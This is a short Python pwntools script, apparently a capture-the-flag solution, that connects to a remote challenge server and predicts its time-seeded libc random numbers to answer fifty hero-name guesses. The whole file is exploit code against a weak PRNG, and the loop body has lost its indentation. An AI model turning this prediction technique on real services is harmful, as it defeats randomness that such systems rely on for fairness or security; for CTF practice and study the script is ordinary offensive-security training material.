from pwn import *
import time
import ctypes
context.arch = 'amd64'
elf = ELF('me_unlucky')
heroes = [
"Anti-Mage",
"Axe",
"Bane",
"Bloodseeker",
"Crystal Maiden",
"Drow Ranger",
"Earthshaker",
"Juggernaut",
"Mirana",
"Morphling",
"Phantom Assassin",
"Pudge",
"Shadow Fiend",
"Sniper",
"Storm Spirit",
"Sven",
"Tiny",
"Vengeful Spirit",
"Windranger",
"Zeus",
]
r = remote('52.59.124.14', 5021)
libc = ctypes.CDLL(None)
libc.srand(int(time.time()))
r.recvuntil(b'names?')
for k in range(50):
hero = heroes[libc.rand() % 20]
r.recvuntil(b'!!!)')
r.sendline(hero)
print(r.recvall())
r.interactive()